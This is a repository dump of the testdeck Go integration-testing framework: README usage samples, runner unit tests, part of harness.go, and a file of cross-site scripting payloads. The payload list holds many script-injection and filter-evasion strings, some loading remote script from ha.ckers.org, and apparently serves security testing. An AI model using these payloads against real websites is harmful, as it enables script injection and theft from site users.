function. 29 | 30 | Note: You do not need to have all stages in your test case, you can omit stages that you don't need. 31 | 32 | ## Purpose 33 | 34 | The target of this framework is integration testing, not unit testing (although it is built off of the unit testing framework go/testing). For 35 | unit tests you should probably continue to use the standard Go testing 36 | package. 37 | 38 | For integration testing we need to achieve the following: 39 | 40 | - test with no mocks and ideally no fake services 41 | - properly detect flaky tests 42 | - classify the failure as best we can 43 | - easily perform the test consistently and repeatedly 44 | 45 | For this reason we created a simple test harness. 46 | 47 | ## Dependencies 48 | 49 | - [strethr/testify](https://github.com/stretchr/testify): To make the 50 | framework's own self unit tests a bit shorter as well as prove that 3rd party 51 | test package integration works 52 | - [google/gofuzz](https://github.com/google/gofuzz): Integrated into the Fuzzer feature to generate random input values 53 | - [kelseyhightower/envconfig](https://github.com/kelseyhightower/envconfig): For retrieve environment variables for configuring the testing service 54 | - [golang/go](https://github.com/golang/go): Testdeck is based off of Golang's native testing library 55 | 56 | ## Code Samples 57 | 58 | Below are two samples of how to create a testdeck test case. 59 | 60 | - In the **Inline Style**, you create a test case directly in the Test() function so that it will immediately run. 61 | - In the **Struct Style**, you initialize the test case first, specify the stages, and then call Test() to start the test so that you can add additional actions before starting the test. 62 | 63 | In most cases, either style is fine; it is just a matter of personal preferences. 64 | 65 | ```go 66 | import "github.com/mercari/testdeck" 67 | 68 | // Inline Style of writing tests 69 | func TestInlineStyle_MathPow(t *testing.T) { 70 | var x, want, got float64 71 | 72 | // Create the test case directly inside Test() 73 | testdeck.Test(t, &testdeck.TestCase{ 74 | Arrange: func(t *testdeck.TD) { 75 | x = 3.0 76 | want = 9.0 77 | }, 78 | Act: func(t *testdeck.TD) { 79 | got = math.Pow(x, 2.0) 80 | }, 81 | Assert: func(t *testdeck.TD) { 82 | if want != got { 83 | t.Errorf("want: %f, got %f", want, got) 84 | } 85 | 86 | }, 87 | }) 88 | } 89 | 90 | // Struct style of writing tests 91 | func TestStructStyle_MathPow(t *testing.T) { 92 | var x, want, got float64 93 | 94 | // Initialize the test case first and then specify the stages 95 | test := testdeck.TestCase{} 96 | test.Arrange = func(t *testdeck.TD) { 97 | ) x = 3.0 98 | want = 9.0 99 | } 100 | test.Act = func(t *testdeck.TD) { 101 | got = math.Pow(x, 2.0) 102 | } 103 | test.Assert = func(t *testdeck.TD) { 104 | if want != got { 105 | t.Errorf("want: %d, got: %d", want, got) 106 | } 107 | } 108 | 109 | // Finally, call Test() to start the test 110 | testdeck.Test(t, &test) 111 | } 112 | ``` 113 | 114 | You can also reuse any setup code for your tests with the following strategy. 115 | 116 | ```go 117 | func Setup(shared *int) func(t *testdeck.TD) { 118 | return func(t *testdeck.TD) { 119 | *shared = 42 120 | } 121 | } 122 | 123 | func TestReusableArrangeInline(t *testing.T) { 124 | var value int 125 | 126 | testdeck.Test(t, &testdeck.TestCase{ 127 | // Setup() can be inserted into the test case here 128 | Arrange: Setup(&value), 129 | Assert: func(t *testdeck.TD) { 130 | if value != 42 { 131 | t.Errorf("this is not the meaning of life: %d", value) 132 | } 133 | t.Logf("The meaning of life! %d", value) 134 | }, 135 | }) 136 | } 137 | ``` 138 | 139 | ## How NOT to write tests 140 | 141 | All steps (Arrange, Act, Assert, After) are optional, so the following test where everything is stuffed into one stage is technically possible but **discouraged**: 142 | 143 | ```go 144 | // ❌ Do NOT do this! ❌ 145 | func Test_DiscouragedExample(t *testing.T) { 146 | testdeck.Test(t, &testdeck.TestCase{ 147 | // why are you putting everything into the Act stage? 148 | Act: func(t *testdeck.TD) { 149 | want := &ServiceResponse{} 150 | token, err := PotentiallyFlakyTokenRetrieval() 151 | if err != nil { 152 | t.Fatal("failed to retieve token", err) 153 | } 154 | 155 | got := client.ServiceRequest(token) 156 | 157 | if want != got { 158 | t.Errorf("want: %f, got %f", want, got) 159 | } 160 | err := PotentiallyFlakyDatabaseCheck(got.ID) 161 | if err != nil { 162 | t.Fatal("failed to find ID in database", err) 163 | } 164 | }, 165 | }) 166 | } 167 | ``` 168 | 169 | We do not recommend this because: 170 | 171 | - we will not be able to detect flakiness in the proper test steps (e.g. Arrange) 172 | - we cannot report useful information like execution time for the operation you want to test 173 | 174 | For example, in the above test, if `PotentiallyFlakyTokenRetrieval` or 175 | `PotentiallyFlakyDatabaseCheck` fails, then all we can report is that your 176 | test failed and no further information. 177 | 178 | Instead, we recommend rewriting the test like below: 179 | 180 | ```go 181 | func Test_EncouragedExample(t *testing.T) { 182 | var want *ServiceResponse 183 | var token string 184 | 185 | testdeck.Test(t, &testdeck.TestCase{ 186 | // Test code is neatly separated into stages 187 | Arrange: func(t *testdeck.TD) { 188 | want := &ServiceResponse{} 189 | token, err := PotentiallyFlakyTokenRetrieval() 190 | if err != nil { 191 | t.Fatal("failed to retieve token", err) 192 | } 193 | }, 194 | Act: func(t *testdeck.TD) { 195 | got := client.ServiceRequest(token) 196 | }, 197 | Assert: func(t *testdeck.TD) { 198 | if want != got { 199 | t.Errorf("want: %f, got %f", want, got) 200 | } 201 | err := PotentiallyFlakyDatabaseCheck(got.ID) 202 | if err != nil { 203 | t.Fatal("failed to find ID in database", err) 204 | } 205 | }, 206 | }) 207 | } 208 | ``` -------------------------------------------------------------------------------- /runner/runner_test.go: -------------------------------------------------------------------------------- 1 | package runner 2 | 3 | import ( 4 | "regexp" 5 | "testing" 6 | 7 | "github.com/mercari/testdeck/constants" 8 | "github.com/pkg/errors" 9 | "github.com/stretchr/testify/assert" 10 | "github.com/stretchr/testify/require" 11 | ) 12 | 13 | func Test_Runner_ShouldAddStatistics(t *testing.T) { 14 | // Arrange 15 | bm := badM{} 16 | r := newInstance(&bm) 17 | stats := constants.Statistics{Name: "foobar"} 18 | 19 | // Act 20 | r.AddStatistics(&stats) 21 | 22 | // Assert 23 | got := r.Statistics() 24 | require.Equal(t, 1, len(got)) 25 | assert.Equal(t, stats, got[0]) 26 | } 27 | 28 | // This test consumes the "singleton" behavior of the file. Because of this 29 | // behavior, we have to move some assertions ahead to guarantee we valid state 30 | // before initialization. 31 | func Test_Runner_ShouldInitialize(t *testing.T) { 32 | // Arrange 33 | deps := &TestDeps{} 34 | m := testing.MainStart(deps, make([]testing.InternalTest, 0), make([]testing.InternalBenchmark, 0), make([]testing.InternalFuzzTarget, 0), make([]testing.InternalExample, 0)) 35 | assert.False(t, Initialized()) // check before initialization 36 | 37 | // Act 38 | _ = Instance(m) 39 | 40 | // Assert 41 | assert.True(t, Initialized()) 42 | } 43 | 44 | func Test_Runner_ShouldFindInternalTestField(t *testing.T) { 45 | // Arrange 46 | itest := testing.InternalTest{ 47 | Name: "me", 48 | F: func(t *testing.T) { 49 | t.Log("hi") 50 | }, 51 | } 52 | itests := []testing.InternalTest{itest} 53 | 54 | deps := &TestDeps{} 55 | m := testing.MainStart(deps, itests, make([]testing.InternalBenchmark, 0), make([]testing.InternalFuzzTarget, 0), make([]testing.InternalExample, 0)) 56 | 57 | // Act 58 | got := getInternalTests(m) 59 | 60 | // Assert 61 | assert.Equal(t, len(itests), len(got)) 62 | assert.True(t, len(got) > 0) 63 | assert.Equal(t, itest.Name, got[0].Name) 64 | } 65 | 66 | type badM struct { 67 | dummyStr string 68 | dummyIntSlice []int 69 | } 70 | 71 | func (b *badM) Run() int { 72 | return 0 73 | } 74 | 75 | func Test_Runner_ShouldNotFindInternalTestAndPanic(t *testing.T) { 76 | // Arrange 77 | bm := badM{} 78 | defer func() { 79 | r := recover() 80 | if r == nil { 81 | // Assert 82 | t.Error("getInternalTests did not panic when it should") 83 | } 84 | }() 85 | 86 | // Act 87 | getInternalTests(&bm) 88 | 89 | // Assert 90 | } 91 | 92 | func Test_FilterTest_ShouldFilterTests(t *testing.T) { 93 | names := []string{"A", "AA", "AAA"} 94 | testFunc := func(t *testing.T) {} 95 | var internalTests []testing.InternalTest 96 | for _, name := range names { 97 | internalTests = append(internalTests, testing.InternalTest{ 98 | F: testFunc, 99 | Name: name, 100 | }) 101 | } 102 | 103 | tests := map[string]struct { 104 | re *regexp.Regexp 105 | wantNames []string 106 | }{ 107 | "All": { 108 | re: regexp.MustCompile(".*"), 109 | wantNames: names, 110 | }, 111 | "AAA": { 112 | re: regexp.MustCompile("AAA"), 113 | wantNames: []string{"AAA"}, 114 | }, 115 | "AA": { 116 | re: regexp.MustCompile("AA"), 117 | wantNames: []string{"AA", "AAA"}, 118 | }, 119 | "^A$": { 120 | re: regexp.MustCompile("^A$"), 121 | wantNames: []string{"A"}, 122 | }, 123 | } 124 | 125 | for n, tc := range tests { 126 | t.Run(n, func(t *testing.T) { 127 | // Act 128 | filtered := filterTests(tc.re, internalTests) 129 | 130 | // Assert 131 | assert.Equal(t, len(tc.wantNames), len(filtered)) 132 | var filteredNames []string 133 | for _, ftest := range filtered { 134 | filteredNames = append(filteredNames, ftest.Name) 135 | } 136 | for _, wantName := range tc.wantNames { 137 | assert.Contains(t, filteredNames, wantName) 138 | } 139 | }) 140 | } 141 | } 142 | 143 | func Test_FilterTestWorkaround_ShouldTagTestNames(t *testing.T) { 144 | // Arrange 145 | pattern := "^AAA$" 146 | re := regexp.MustCompile(pattern) 147 | names := []string{ 148 | "A", 149 | "AA", 150 | "AAA", 151 | } 152 | wantNames := []string{ 153 | pattern + "\x00A", 154 | pattern + "\x00AA", 155 | pattern + "\x00AAA", 156 | } 157 | testFunc := func(t *testing.T) {} 158 | var internalTests []testing.InternalTest 159 | for _, name := range names { 160 | internalTests = append(internalTests, testing.InternalTest{ 161 | F: testFunc, 162 | Name: name, 163 | }) 164 | } 165 | 166 | // Act 167 | filtered := filterTestsWorkaround(re, internalTests, true, pattern) 168 | 169 | // Assert 170 | assert.Equal(t, len(names), len(filtered)) 171 | var filteredNames []string 172 | for _, ftest := range filtered { 173 | filteredNames = append(filteredNames, ftest.Name) 174 | } 175 | assert.ElementsMatch(t, wantNames, filteredNames) 176 | } 177 | 178 | func Test_MatchTag_ShouldMatchTaggedName(t *testing.T) { 179 | // Arrange 180 | name := "^AAA$\x00AAA" 181 | 182 | // Act 183 | tagged, matched, actual := MatchTag(name) 184 | 185 | // Assert 186 | assert.True(t, tagged) 187 | assert.True(t, matched) 188 | assert.Equal(t, actual, "AAA") 189 | } 190 | 191 | func Test_MatchTag_ShouldNotMatchWithTaggedNameNotMatchingPattern(t *testing.T) { 192 | // Arrange 193 | name := "^AA$\x00AAA" 194 | 195 | // Act 196 | tagged, matched, actual := MatchTag(name) 197 | 198 | // Assert 199 | assert.True(t, tagged) 200 | assert.False(t, matched) 201 | assert.Equal(t, actual, "AAA") 202 | } 203 | 204 | func Test_MatchTag_ShouldNotMatchWithUntaggedName(t *testing.T) { 205 | // Arrange 206 | name := "AAA/aaa" 207 | 208 | // Act 209 | tagged, matched, actual := MatchTag(name) 210 | 211 | // Assert 212 | assert.False(t, tagged) 213 | assert.False(t, matched) 214 | assert.Equal(t, name, actual) 215 | } 216 | 217 | type FakeM struct { 218 | t *testing.T 219 | deps *TestDeps 220 | mockTests []testing.InternalTest 221 | } 222 | 223 | // Run emulates what the testing library would do for us. 224 | func (m *FakeM) Run() int { 225 | for _, test := range m.mockTests { 226 | match, err := m.deps.MatchString("", test.Name) 227 | if err != nil { 228 | panic(errors.Wrap(err, "MatchString failed.")) 229 | } 230 | if match { 231 | test.F(m.t) 232 | } 233 | } 234 | return 0 235 | } 236 | 237 | // Test theorhetically should work but the testing package will panic because it 238 | // can't close an already close testlog file. Tests are left for reference but 239 | // should not be run due to this issue. Perhaps this is a good indication of how 240 | // fragile this runner is. 241 | func test_Runner(t *testing.T) { 242 | tests := []testing.InternalTest{ 243 | testing.InternalTest{ 244 | Name: "TestPass1", 245 | F: func(t *testing.T) { 246 | t.Log("pass1") 247 | }, 248 | }, 249 | testing.InternalTest{ 250 | Name: "TestPass2", 251 | F: func(t *testing.T) { 252 | t.Log("pass2") 253 | }, 254 | }, 255 | testing.InternalTest{ 256 | Name: "TestFail", 257 | F: func(t *testing.T) { 258 | t.Error("fail") 259 | }, 260 | }, 261 | testing.InternalTest{ 262 | Name: "TestFatal", 263 | F: func(t *testing.T) { 264 | t.Fatal("fatal") 265 | }, 266 | }, 267 | } 268 | 269 | cases := map[string]struct { 270 | pattern string 271 | wantStrings []string 272 | }{ 273 | "SinglePass": { 274 | pattern: "TestPass1", 275 | wantStrings: []string{ 276 | "PASS: TestPass1", 277 | "pass1", 278 | }, 279 | }, 280 | "MultiplePass": { 281 | pattern: "TestPass", 282 | wantStrings: []string{ 283 | "PASS: TestPass1", 284 | "pass1", 285 | "PASS: TestPass2", 286 | "pass2", 287 | }, 288 | }, 289 | "Fail": { 290 | pattern: "TestFail", 291 | wantStrings: []string{ 292 | "FAIL: TestFail", 293 | "fail", 294 | }, 295 | }, 296 | "Fatal": { 297 | pattern: "TestFatal", 298 | wantStrings: []string{ 299 | "FAIL: TestFatal", 300 | "fatal", 301 | }, 302 | }, 303 | "MultipleFail": { 304 | pattern: "TestFa", 305 | wantStrings: []string{ 306 | "FAIL: TestFail", 307 | "fail", 308 | "FAIL: TestFatal", 309 | "fatal", 310 | }, 311 | }, 312 | } 313 | 314 | deps := &TestDeps{} 315 | fm := &FakeM{ 316 | t: t, 317 | deps: deps, 318 | mockTests: tests, 319 | } 320 | r := newInstance(fm) 321 | 322 | for name, tc := range cases { 323 | t.Run(name, func(t *testing.T) { 324 | // Arrange 325 | r.Match(tc.pattern) 326 | 327 | // Act 328 | r.Run() 329 | 330 | // Assert 331 | for _, wantString := range tc.wantStrings { 332 | assert.Contains(t, r.Output(), wantString) 333 | } 334 | }) 335 | } 336 | } 337 | -------------------------------------------------------------------------------- /payloads/xss/XSSDetection.txt: -------------------------------------------------------------------------------- 1 | %3Cimg/src=%3Dx+onload=alert(2)%3D 2 | %3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e 3 | '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0000EB)%3C/script%3E 4 | 48e71%3balert(1)//503466e3 5 | ';confirm('XSS')//1491b2as 6 | a29b1%3balert(888)//a62b7156d82 7 | <scr&#x9ipt>alert('XSS')</scr&#x9ipt> 8 | "onmouseover%3dprompt(941634) 9 | %f6%22%20onmouseover%3dprompt(941634)%20 10 | " onerror=alert()1 a=" 11 | style=xss:expression(alert(1)) 12 | <input type=text value=“XSS”> 13 | A” autofocus onfocus=alert(“XSS”)// 14 | <input type=text value=”A” autofocus onfocus=alert(“XSS”)//”> 15 | <a href="javascript:alert(1)">ssss</a> 16 | +ADw-p+AD4-Welcome to UTF-7!+ADw-+AC8-p+AD4- 17 | +ADw-script+AD4-alert(+ACc-utf-7!+ACc-)+ADw-+AC8-script+AD4- 18 | +ADw-script+AD4-alert(+ACc-xss+ACc-)+ADw-+AC8-script+AD4- 19 | <%00script>alert(‘XSS’)<%00/script> 20 | <%script>alert(‘XSS’)<%/script> 21 | <%tag style=”xss:expression(alert(‘XSS’))”> 22 | <%tag onmouseover="(alert('XSS'))"> is invalid. <%br /> 23 | </b style="expr/**/ession(alert('vulnerable'))"> 24 | ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> 25 | '';!--"<XSS>=&{()} 26 | <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> 27 | <IMG SRC="javascript:alert('XSS');"> 28 | <IMG SRC=javascript:alert('XSS')> 29 | <IMG SRC=JaVaScRiPt:alert('XSS')> 30 | <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> 31 | <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> 32 | <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> 33 | <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> 34 | <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> 35 | <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> 36 | <IMG SRC="jav ascript:alert('XSS');"> 37 | <IMG SRC="jav&#x09;ascript:alert('XSS');"> 38 | <IMG SRC="jav&#x0A;ascript:alert('XSS');"> 39 | <IMG SRC="jav&#x0D;ascript:alert('XSS');"> 40 | <IMG SRC=" &#14; javascript:alert('XSS');"> 41 | <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> 42 | <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> 43 | <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> 44 | <<SCRIPT>alert("XSS");//<</SCRIPT> 45 | <SCRIPT SRC=http://ha.ckers.org/xss.js?<B> 46 | <SCRIPT SRC=//ha.ckers.org/.j> 47 | <iframe src=http://ha.ckers.org/scriptlet.html < 48 | <IMG SRC="javascript:alert('XSS')" 49 | <SCRIPT>a=/XSS/ 50 | alert(a.source)</SCRIPT> 51 | \";alert('XSS');// 52 | </TITLE><SCRIPT>alert("XSS");</SCRIPT> 53 | <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> 54 | <BODY BACKGROUND="javascript:alert('XSS')"> 55 | <BODY ONLOAD=alert('XSS')> 56 | <IMG DYNSRC="javascript:alert('XSS')"> 57 | <IMG LOWSRC="javascript:alert('XSS')"> 58 | <BGSOUND SRC="javascript:alert('XSS');"> 59 | <BR SIZE="&{alert('XSS')}"> 60 | <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> 61 | <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> 62 | <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> 63 | <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> 64 | <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> 65 | <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> 66 | <XSS STYLE="behavior: url(xss.htc);"> 67 | <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS 68 | <IMG SRC='vbscript:msgbox("XSS")'> 69 | ¼script¾alert(¢XSS¢)¼/script¾ 70 | <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> 71 | <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> 72 | <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> 73 | <IFRAME SRC="javascript:alert('XSS');"></IFRAME> 74 | <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> 75 | <TABLE BACKGROUND="javascript:alert('XSS')"> 76 | <TABLE><TD BACKGROUND="javascript:alert('XSS')"> 77 | <DIV STYLE="background-image: url(javascript:alert('XSS'))"> 78 | <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> 79 | <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> 80 | <DIV STYLE="width: expression(alert('XSS'));"> 81 | <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> 82 | <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> 83 | <XSS STYLE="xss:expression(alert('XSS'))"> 84 | exp/*<A STYLE='no\xss:noxss("*//*"); 85 | xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'> 86 | <STYLE TYPE="text/javascript">alert('XSS');</STYLE> 87 | <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> 88 | <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> 89 | <!--[if gte IE 4]> 90 | <SCRIPT>alert('XSS');</SCRIPT> 91 | <![endif]--> 92 | <BASE HREF="javascript:alert('XSS');//"> 93 | <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> 94 | <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> 95 | <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> 96 | <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> 97 | a="get"; 98 | b="URL(\""; 99 | c="javascript:"; 100 | d="alert('XSS');\")"; 101 | eval(a+b+c+d); 102 | <HTML xmlns:xss> 103 | <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> 104 | <xss:xss>XSS</xss:xss> 105 | </HTML> 106 | <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> 107 | </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> 108 | <XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></XML> 109 | <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> 110 | <XML SRC="xsstest.xml" ID=I></XML> 111 | <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> 112 | <HTML><BODY> 113 | <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> 114 | <?import namespace="t" implementation="#default#time2"> 115 | <t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"> 116 | </BODY></HTML> 117 | <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> 118 | <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"--> 119 | <? echo('<SCR)'; 120 | echo('IPT>alert("XSS")</SCRIPT>'); ?> 121 | <META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;"> 122 | <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- 123 | <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> 124 | <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> 125 | <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> 126 | <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> 127 | <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> 128 | <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> 129 | <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> 130 | <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> 131 | <A HREF="javascript:document.location='http://www.google.com/'">XSS</A> 132 | <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A> 133 | < 134 | %3C 135 | &lt 136 | &lt; 137 | &LT 138 | &LT; 139 | &#60 140 | &#060 141 | &#0060 142 | &#00060 143 | &#000060 144 | &#0000060 145 | &#60; 146 | &#060; 147 | &#0060; 148 | &#00060; 149 | &#000060; 150 | &#0000060; 151 | &#x3c 152 | &#x03c 153 | &#x003c 154 | &#x0003c 155 | &#x00003c 156 | &#x000003c 157 | &#x3c; 158 | &#x03c; 159 | &#x003c; 160 | &#x0003c; 161 | &#x00003c; 162 | &#x000003c; 163 | &#X3c 164 | &#X03c 165 | &#X003c 166 | &#X0003c 167 | &#X00003c 168 | &#X000003c 169 | &#X3c; 170 | &#X03c; 171 | &#X003c; 172 | &#X0003c; 173 | &#X00003c; 174 | &#X000003c; 175 | &#x3C 176 | &#x03C 177 | &#x003C 178 | &#x0003C 179 | &#x00003C 180 | &#x000003C 181 | &#x3C; 182 | &#x03C; 183 | &#x003C; 184 | &#x0003C; 185 | &#x00003C; 186 | &#x000003C; 187 | &#X3C 188 | &#X03C 189 | &#X003C 190 | &#X0003C 191 | &#X00003C 192 | &#X000003C 193 | &#X3C; 194 | &#X03C; 195 | &#X003C; 196 | &#X0003C; 197 | &#X00003C; 198 | &#X000003C; 199 | \x3c 200 | \x3C 201 | \u003c 202 | \u003C 203 | -------------------------------------------------------------------------------- /harness.go: -------------------------------------------------------------------------------- 1 | package testdeck 2 | 3 | import ( 4 | "fmt" 5 | "testing" 6 | "time" 7 | 8 | "github.com/mercari/testdeck/constants" 9 | "github.com/mercari/testdeck/deferrer" 10 | "github.com/mercari/testdeck/runner" 11 | ) 12 | 13 | /* 14 | harness.go: A wrapper around Golang's testing.T because it has a private method that prevents us from implementing it directly 15 | 16 | This file is separated into the following sections: 17 | 18 | TESTDECK CODE 19 | Test case + lifecycle 20 | Statistics 21 | CODE FROM GOLANG TESTING LIBRARY 22 | */ 23 | 24 | // ----- 25 | // TESTDECK CODE - Test case + lifecycle 26 | // ----- 27 | 28 | // TestConfig is for passing special configurations for the test case 29 | type TestConfig struct { 30 | // tests run in parallel by default but you can force it to run in sequential by using ParallelOff = true 31 | ParallelOff bool 32 | } 33 | 34 | // TD contains a testdeck test case + statistics to save to the DB later 35 | // It allows us to capture functionality from testing.T 36 | type TD struct { 37 | T TestingT // wrapper on testing.T 38 | fatal bool 39 | currentLifecycle string 40 | statuses []constants.Status // stack of statuses; statuses are emitted by Error/Fatal operation or when the lifecycle completes successfully 41 | timings map[string]constants.Timing 42 | actualName string // name of testdeck test case (to pass to testing.T) 43 | } 44 | 45 | // An interface for testdeck test cases; it is implemented by the TestCase struct below 46 | type TestCaseDelegate interface { 47 | ArrangeMethod(t *TD) 48 | ActMethod(t *TD) 49 | AssertMethod(t *TD) 50 | AfterMethod(t *TD) 51 | } 52 | 53 | // A struct that represents a testdeck test case 54 | type TestCase struct { 55 | Arrange func(t *TD) // setup stage before the test 56 | Act func(t *TD) // the code you actually want to test 57 | Assert func(t *TD) // the outcomes you want to verify 58 | After func(t *TD) // clean-up steps 59 | deferrer.DefaultDeferrer // deferred steps that you want to run after clean-up 60 | } 61 | 62 | // Interface methods 63 | func (tc *TestCase) ArrangeMethod(t *TD) { 64 | timedRun(tc.Arrange, t, constants.LifecycleArrange) 65 | } 66 | 67 | func (tc *TestCase) ActMethod(t *TD) { 68 | timedRun(tc.Act, t, constants.LifecycleAct) 69 | } 70 | 71 | func (tc *TestCase) AssertMethod(t *TD) { 72 | timedRun(tc.Assert, t, constants.LifecycleAssert) 73 | } 74 | 75 | func (tc *TestCase) AfterMethod(t *TD) { 76 | timedRun(tc.After, t, constants.LifecycleAfter) 77 | } 78 | 79 | // This method starts the test 80 | // t is the interface for testing.T 81 | // tc is the interface for testdeck test cases 82 | // options is an optional parameter for passing in special test configurations 83 | func Test(t TestingT, tc TestCaseDelegate, options ...TestConfig) *TD { 84 | // FIXME: currently tests cannot be run by matching name 85 | tagged, matched, actualName := runner.MatchTag(t.Name()) 86 | 87 | // start timer 88 | start := time.Now() 89 | if runner.Initialized() { 90 | r := runner.Instance(nil) 91 | r.LogEvent(fmt.Sprintf("Instantiating: %s", actualName)) 92 | } 93 | 94 | // initiate testdeck test case 95 | td := &TD{ 96 | T: t, 97 | fatal: false, 98 | currentLifecycle: constants.LifecycleTestSetup, // start in the test setup step 99 | timings: make(map[string]constants.Timing), 100 | } 101 | 102 | // if test configurations struct was passed, config the settings 103 | if len(options) > 0 { 104 | if options[0].ParallelOff == false { 105 | td.T.Parallel() 106 | } 107 | } else { 108 | // if no configs were passed, turn on parallel by default 109 | td.T.Parallel() 110 | } 111 | 112 | // FIXME: currently tests cannot be run by matching name 113 | if tagged { 114 | if !matched { 115 | if runner.Initialized() { 116 | r := runner.Instance(nil) 117 | r.LogEvent("(match workaround) test not in tagged set; skipping") 118 | } 119 | return td 120 | } 121 | td.actualName = actualName 122 | } 123 | 124 | arrangeComplete := false 125 | 126 | // runs at the end of the test 127 | defer func() { 128 | end := time.Now() 129 | 130 | // clean up and set test to finished 131 | if !td.Skipped() || arrangeComplete { 132 | tc.AfterMethod(td) 133 | } 134 | td.currentLifecycle = constants.LifecycleTestFinished 135 | 136 | // add the final status so it is clear the test finished 137 | if len(td.statuses) == 0 { 138 | // no failure statuses, set passed 139 | td.setPassed() 140 | } else { 141 | // failure statuses, set failed 142 | td.setFailed(td.fatal) 143 | } 144 | 145 | // run deferred functions 146 | if d, ok := tc.(deferrer.Deferrer); ok { 147 | d.RunDeferred() 148 | } 149 